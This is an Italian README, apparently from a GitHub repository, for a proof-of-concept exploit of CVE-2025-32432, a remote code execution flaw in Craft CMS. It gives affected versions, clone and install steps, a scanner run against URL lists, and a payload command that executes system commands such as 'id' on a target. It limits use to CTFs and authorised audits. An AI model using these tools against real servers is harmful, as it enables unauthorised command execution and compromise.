n40y/poc_cve-2025-32432CraftCMS CVE-2025-32432 - PoC pulito
Versione ripulita e migliorata del Proof of Concept originale.
Questo progetto è concesso in licenza MIT.
Vedi il file LICENSE per maggiori dettagli.
Questo PoC è fornito solo a scopo educativo e per test autorizzati (CTF, audit di sicurezza con esplicito permesso scritto).
Qualsiasi utilizzo su sistemi senza autorizzazione è illegale. L'autore declina ogni responsabilità in caso di uso improprio.
< 3.9.15< 4.14.15< 5.6.17craftcms-cve-2025-32432-poc/
├── craftcms_rce_php_check.py
├── craftcms_final_payload.py
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
git clone https://github.com/n40y/craftcms-cve-2025-32432-poc.git
cd craftcms-cve-2025-32432-poc
pip3 install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://target.com
# Oppure con una lista
python3 craftcms_rce_php_check.py -f urls.txt -t 10
python3 craftcms_final_payload.py -u https://victim.com -c "id"
-u, --url → URL cible (obligatoire)
-c, --cmd → Commande système à exécuter (obligatoire)
-a, --asset → AssetId valide connu (optionnel)
-s, --scan-max → Max assetId à scanner (défaut: 300)